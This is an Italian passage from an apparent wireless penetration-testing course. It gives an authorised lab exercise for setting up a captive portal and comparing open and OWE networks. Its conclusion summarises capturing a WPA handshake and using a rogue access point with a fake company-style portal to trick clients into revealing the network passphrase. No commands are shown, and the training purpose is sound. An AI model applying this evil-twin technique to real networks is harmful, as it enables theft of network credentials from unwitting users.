Esercizio
Configura un captive portal per prendere di mira la tua rete di casa o ufficio (con l'approvazione del tuo supervisore e del reparto IT). Prova con una rete aperta e OWE e, se disponi di una scheda wireless separata, esegui una cattura pacchetti ed esamina la differenza tra open e OWE.
Se nessun client si connette, usa uno dei tuoi dispositivi per connetterti.
10.4. Conclusione
In questo modulo, abbiamo raccolto un handshake WPS-PSK, creato un captive portal convincente basato sul sito web aziendale e usato un access point rogue per indurre i client a connettersi a noi e rivelare la passphrase della rete.
